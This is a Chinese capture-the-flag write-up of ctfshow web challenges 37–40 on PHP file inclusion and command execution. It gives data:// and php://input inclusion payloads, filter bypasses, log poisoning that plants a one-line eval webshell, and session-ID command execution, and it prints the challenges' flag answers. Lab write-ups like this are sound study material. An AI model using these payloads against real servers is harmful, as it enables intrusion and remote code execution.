ctfshow-web入門-命令執行(web37-web40)

目錄

1、web37?

2、web38

3、web39

4、web40


命令執行,需要嚴格的過濾

?

1、web37?

使用 php 偽協議:

?c=php://input

post 寫入我們希望執行的 php 代碼:

<?php system('tac f*');?>

拿到 flag:ctfshow{5c555d9a-6f55-411a-a25f-d38b70240639}

再看 wp 它用到是 data://?協議,也是 php 偽協議

payload:

?c=data://text/plain,<?php system('tac f*')?>

利用源碼中的?include($c); 將我們想要執行的代碼包含進去,其實和 php://input 是一樣的,讓用戶可以控制輸入流,當它與文件包含函數結合時,用戶輸入的 data:// 流就會被當作 php 文件執行。

2、web38

新增過濾 php 和 file

php 短標簽:

<? echo '123';?> ?#前提是開啟配置參數short_open_tags=on
<?=(表達式)?> ?等價于 <?php echo (表達式)?> ?#不需要開啟參數設置
<% echo '123';%> ? #開啟配置參數asp_tags=on,并且只能在7.0以下版本使用
<script language="php">echo '123'; </script> #不需要修改參數開關,但是只能在7.0以下可用。

我們使用一個沒有前提條件的進行繞過,構造 payload:

?c=data://text/plain,<?=system('tac f*')?>

拿到 flag:ctfshow{924d4c68-d3ad-4188-bfbd-6b1d6b5f60b2}

也可以這樣寫:

?c=data://text/plain,<?=`ls`;

?c=data://text/plain,<?=`tac f*`;

我們也可以采用編碼繞過,對 <?php system("tac flag.php");?> 進行 base64 編碼再傳入:

構造 payload:

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg==

查看提示,還可以包含 nginx 的日志文件拿 shell:

對于Apache,日志存放路徑:/var/log/apache/access.log

對于Ngnix,日志存放路徑:/var/log/nginx/access.log 和 /var/log/nginx/error.log

訪問一下日志文件,確實有東西:

?c=/var/log/nginx/access.log

服務器開啟了記錄日志的功能,就可能導致日志包含漏洞,用戶可以進行任意文件讀取:

中間件的日志文件會保存網站的訪問記錄,比如HTTP請求行,User-Agent,Referer等客戶端信息,如果在HTTP請求中插入惡意代碼,那么惡意代碼就會保存到日志文件中,訪問日志文件的時候,日志文件中的惡意代碼就會執行,從而造成任意代碼執行甚至獲取shell。?

從上面的日志信息可以看出是 User-Agent 的內容,這里我們使用 burpsuite 抓包,在 User-Agent 里插入一句話木馬 :

<?php @eval($_REQUEST['cmd']);?>

上蟻劍,連接的文件就是日志文件:

進來后就可以直接看到 flag.php:

我們寫的馬就在這里:

但是在前端包含出來卻看不到:

3、web39

這次的方式不一樣了,還會在傳入的內容后面拼接 .php,由于它把 flag 過濾掉了,而且這里包含后也沒有輸出 $flag 的語句,因此我們需要自己來調用,用 web37 的 payload:

為了看起來好一點便于后面的理解,這里我們用 cat 來讀取

?c=data://text/plain,<?php system('cat f*')?>

傳入后的內容為:

<?php ...

include(<?php system('cat f*')?>.php);?

讀取 flag的 php 語句已經正常閉合,所以后面拼接的 .php 不會產生什么影響

拿到 flag:ctfshow{be201a78-e3b6-4957-8016-f61b31341ded}

我們也可以將整個 php 代碼閉合掉,讓 .php 不執行而是被直接顯示:

?c=data://text/plain,<?php system('cat f*')?>)?>

4、web40

首先說一下這里正則匹配有幾處用到了多個反斜杠的原因:

在正則表達式中,美元符號 $ 通常表示字符串的結束位置,為了匹配字面上的美元符號 $,需要使用反斜杠進行轉義,即 \$;在正則表達式中,一個反斜杠需要使用 \\ 表示,但由于在 PHP 字符串中,反斜杠也需要轉義,所以需要四個反斜杠 \\\\ 來表示正則表達式中的一個反斜杠。

晃眼一看這里幾乎把所有符號都過濾掉了,但是仔細一看這里過濾掉的括號是中文的括號:()

也就是說英文的括號其實是能用的:()

使用無參數的 payload:

show_source(next(array_reverse(scandir(pos(localeconv())))));

拿到 flag:ctfshow{ebf5b012-7536-4a50-8049-37ebe85ca7c4}

看下提示,還有另一種做法:通過 cookie 獲得參數進行命令執行

session_start() 函數用于啟動一個新的 PHP 會話,session_id() 函數返回當前會話的會話 ID,將會話 ID 作為系統命令執行。使用 session 之前需要先用 session_start() 告訴 php?使用session,php 默認是不主動使用session的,也就是說原本的cookie 里是沒有?PHPSESSID 這項的:

請求?

?c=session_start();system(session_id());

再次抓包即可看到 cookie 多出了?PHPSESSID 這:

修改?PHPSESSID 為我們希望執行的命令,即可實現命令執行:

但是這里并不能直接命令執行讀取 flag,在標準的 PHP 會話管理中,會話 ID 不應包含空格。

美元符號 $ 也不行

其他一些命令是可以正常執行的

那么這里如何讀取 flag.php

還是用 show_source?,構造 payload:

show_source(session_id(session_start()));

也可以用?highlight_file 或者??readfile 函數

但是會遇到前面的這個問題,會話 ID 包含了非法字符,點是不可以的

還有另一個問題:

在 PHP 中,一旦會話被激活,就不能再更改會話 ID。

折騰了一下到后面只要傳入?show_source(session_id(session_start())); 就會顯示容器有問題了

重啟容器也沒有解決這個問題:

Cannot change session id when session is active in

應該是題目搭建環境不一樣吧,不折騰了,知道有這種方法就行。

?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/23944.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/23944.shtml
英文地址,請注明出處:http://en.pswp.cn/web/23944.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Mongodb數組元素更新之使用$定位數組第一個元素

學習mongodb&#xff0c;體會mongodb的每一個使用細節&#xff0c;歡迎閱讀威贊的文章。這是威贊發布的第63篇mongodb技術文章&#xff0c;歡迎瀏覽本專欄威贊發布的其他文章。 閱讀了不少Mongodb的文章&#xff0c;也和同事交流過。Mongodb數組更新是比較難理解的地方&#x…

EXCEL多sheet添加目錄跳轉

EXCEL多sheet添加目錄跳轉 背景 excel中有幾十個sheet&#xff0c;點下方左右切換sheet太耗時&#xff0c;希望可以有根據sheet名超鏈接跳轉相應sheet&#xff0c;處理完后再跳回原sheet。 方案一 新建目錄sheet&#xff0c;在A1寫sheet名&#xff0c;右鍵選擇最下方超鏈接…

問題:材料題請點擊右側查看材料問題 查看材料 #學習方法#經驗分享#學習方法

問題&#xff1a;材料題請點擊右側查看材料問題 查看材料 A.Colleges may reduce their enrollment. B.Top universities become increasingly competitive. C.Universities become selective in student admission. D.Colleges invest less in academy and infrastructure…

Go 文件壓縮解壓

在Go語言中&#xff0c;archive/zip包提供了創建、讀取和解壓縮ZIP格式文件的功能。 一、創建ZIP文件并添加內容----壓縮 package mainimport ("archive/zip""bytes""fmt""io""log""os" )func main() {// 創建一…

el-input中change事件造成的坑

el-input中change事件造成的坑 一、change事件定義二、如果僅回車時候觸發 一、change事件定義 僅在輸入框失去焦點或用戶按下回車時觸發 二、如果僅回車時候觸發 <el-inputv-model.trim"questionInput"placeholder"請輸入你的問題&#xff0c;按回車發送&…

智慧視覺怎么識別視頻?智慧機器視覺是通過什么步驟識別視頻的?

智慧視覺功能怎么識別視頻&#xff1f;智慧視覺是搭載在智能設備比如手機、AI盒子、機器視覺系統上的一個應用程序或特性&#xff0c;采用計算機視覺和人工智能的技術來識別圖像或視頻中的內容。如果想了解視頻識別&#xff0c;就要明白智慧視覺功能會涉及的以下幾個關鍵步驟和…

pxe自動裝機

概念 pxe是c/s模式。允許客戶端通過網絡從遠程服務器&#xff08;服務端&#xff09;下載引導鏡像&#xff0c;加載安裝文件&#xff0c;實現自動化安裝操作系統。 無人值守&#xff1a;安裝選項不需要人為干預&#xff0c;可以自動化實現。 pxe的優點&#xff1a;1.規模化&…

機器人阻抗控制中的機械阻抗模型

機器人阻抗控制中的機械阻抗模型主要涉及到通過修改機器人與環境接觸作業的動力學模型&#xff0c;使其等效為一個期望的阻抗&#xff08;彈簧-質量-阻尼&#xff09;模型。以下是對機械阻抗模型在機器人阻抗控制中的詳細解釋&#xff1a; 阻抗控制原理&#xff1a; 機器人阻抗…

Python——泰坦尼克號數據分析

目錄 ??1.數據集(部分數據) ?? 2、導入數據集與必要模塊 ?? 3.數據預處理 1?? isnull函數查看有無缺失值 2??fillna函數填充缺失值 ?? Age字段使用平均值填充缺失值 ?? Embarked字段填充缺失值 3?? 刪除缺失值較多的字段 ?? 4.數據可視化 1?? di…

流媒體服務器SMS-語音對講(二)

1.簡介 上篇文件介紹了流媒體與設備之間可能的交互場景&#xff0c;本文將介紹客戶端或者web端與攝像頭對講的總體流程。 老規矩&#xff0c;介紹一下本人的開源流媒體&#xff0c;點個star&#xff0c;有興趣一起開發的朋友也可以聯系本人&#xff1a;https://gitee.com/inyem…

PostgreSQL的發布和訂閱功能

發布和訂閱功能在 PostgreSQL 9.0 版本中首次引入,并進一步改進和增強了后續版本中。所以,從 PostgreSQL 9.0 版本開始,就可以使用發布和訂閱功能來實現數據復制和同步 發布和訂閱功能在 PostgreSQL 中提供了一種靈活、可靠的數據復制和同步機制,具有許多優點和一些缺點:…

[數據集][目標檢測]醫療防護服檢測數據集VOC+YOLO格式649張7類別

數據集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路徑的txt文件&#xff0c;僅僅包含jpg圖片以及對應的VOC格式xml文件和yolo格式txt文件) 圖片數量(jpg文件個數)&#xff1a;649 標注數量(xml文件個數)&#xff1a;649 標注數量(txt文件個數)&#xff1a;649 標注類別…

echarts學習: 在圖表中添加多條y軸會怎么樣?

前言 在撰寫如何繪制雙y軸圖表文章時&#xff0c;我突然萌生出了一個想法&#xff0c;如果給圖表添加兩個以上的y軸會怎么樣呢? 帶著這個問題我開始了自己的探索之旅。 我找到了一篇優秀的文章作為參考&#xff0c;雖然它需要付費&#xff0c;但是不要緊&#xff0c;文中免費…

Vulnhub-DC-4

靶機IP:192.168.20.138 kaliIP:192.168.20.128 網絡有問題的可以看下搭建Vulnhub靶機網絡問題(獲取不到IP) 信息收集 nmap掃下端口及版本 dirsearch掃下目錄 沒發現什么敏感信息&#xff0c;看下前端界面 想到會不會存在SQL注入&#xff0c;弱密碼等漏洞。 經過測試SQL注入…

k8s網絡問題以及容器跨宿主機通信原理

【0】資源配置文件 [rootmcwk8s03 mcwtest]# ls mcwdeploy.yaml [rootmcwk8s03 mcwtest]# cat mcwdeploy.yaml apiVersion: apps/v1 kind: Deployment metadata:labels:app: mcwpythonname: mcwtest-deploy spec:replicas: 1selector:matchLabels:app: mcwpythontemplate:met…

Linux進程間通信之管道

進程間通信介紹&#xff1a; 進程間通信的概念&#xff1a; 進程間通信簡稱IPC&#xff08;Interprocess communication&#xff09;&#xff0c;進程間通信就是在不同進程之間傳播或交換信息。 進程間通信的目的&#xff1a; 數據傳輸&#xff1a; 一個進程需要將它的數據…

開源WebGIS全流程常用技術棧

1 數據生產 1.1 uDig uDig&#xff08;http://udig.refractions.net/&#xff09;是一個基于Java開源的桌面應用框架&#xff0c;它構建在Eclipse RCP和GeoTools&#xff08;一個開源的Java GIS包)上。可以進行shp格式地圖文件的編輯和查看&#xff1b;是一個開源空間數據查看…

?在哪些場景下,使用SOCKS5代理會特別有用?(socks5代理ip)?

SOCKS5代理作為網絡協議轉換的利器&#xff0c;其獨特功能在眾多實際場景中展現出了極大的價值。以下是幾個特定場景&#xff0c;其中SOCKS5代理的使用將變得尤為重要&#xff1a; 一、網絡安全與隱私訪問 1.高級滲透測試&#xff1a;在網絡安全領域&#xff0c;滲透測試人員…

Java 異常處理 - 自定義異常

在Java中&#xff0c;自定義異常是一種創建新異常類的方式&#xff0c;這些異常類繼承自Throwable類或其子類Exception&#xff08;或RuntimeException&#xff0c;如果它是運行時異常的話&#xff09;。自定義異常通常用于描述特定于應用程序的錯誤情況&#xff0c;以便為調用…